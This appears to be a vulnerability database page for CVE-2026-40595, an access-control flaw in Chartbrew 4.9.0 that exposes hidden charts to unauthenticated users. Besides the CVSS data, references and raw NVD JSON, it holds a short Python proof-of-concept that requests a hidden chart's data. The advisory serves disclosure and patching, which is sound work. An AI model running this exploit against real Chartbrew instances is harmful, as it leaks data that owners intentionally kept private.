CVE-2026-40595

Description

Chartbrew is an open-source web application that can connect directly to databases and APIs and use the data to create charts. In version 4.9.0, Chartbrew exposes public chart retrieval and export routes that only verify project-level public access and, for exports, a team-level export toggle. The routes do not verify whether the target chart is actually allowed on the public report or whether the governing SharePolicy permits public access. An unauthenticated attacker who knows a chart identifier in a public project can read or export chart data for charts that were intentionally hidden from the report. This issue has been patched in version 5.0.0.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Chartbrew 4.9.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_host = "http://vulnerable-chartbrew-instance.com"
chart_id = "1"  # The ID of the chart hidden from the public report

# The vulnerable endpoint for retrieving chart data
url = f"{target_host}/api/charts/{chart_id}"

# Headers to simulate a normal browser request (optional, depends on server config)
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
    "Accept": "application/json"
}

try:
    # Send an unauthenticated GET request
    response = requests.get(url, headers=headers, timeout=10)

    if response.status_code == 200:
        print("[+] Exploit successful! Leaked chart data:")
        print(response.text)
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
        print(f"[-] Response: {response.text}")

except requests.exceptions.RequestException as e:
    print(f"[!] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-40595
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-40595
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-40595/
[4] VulDB https://vuldb.com/cve/CVE-2026-40595
[5] https://github.com/chartbrew/chartbrew/releases/tag/v5.0.0
[6] https://github.com/chartbrew/chartbrew/security/advisories/GHSA-mq7q-6xh6-5649
[7] https://github.com/chartbrew/chartbrew/security/advisories/GHSA-mq7q-6xh6-5649

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-40595", "sourceIdentifier": "[email protected]", "published": "2026-04-30T19:16:09.783", "lastModified": "2026-05-01T15:31:02.467", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Chartbrew is an open-source web application that can connect directly to databases and APIs and use the data to create charts. In version 4.9.0, Chartbrew exposes public chart retrieval and export routes that only verify project-level public access and, for exports, a team-level export toggle. The routes do not verify whether the target chart is actually allowed on the public report or whether the governing SharePolicy permits public access. An unauthenticated attacker who knows a chart identifier in a public project can read or export chart data for charts that were intentionally hidden from the report. This issue has been patched in version 5.0.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://github.com/chartbrew/chartbrew/releases/tag/v5.0.0", "source": "[email protected]"}, {"url": "https://github.com/chartbrew/chartbrew/security/advisories/GHSA-mq7q-6xh6-5649", "source": "[email protected]"}, {"url": "https://github.com/chartbrew/chartbrew/security/advisories/GHSA-mq7q-6xh6-5649", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}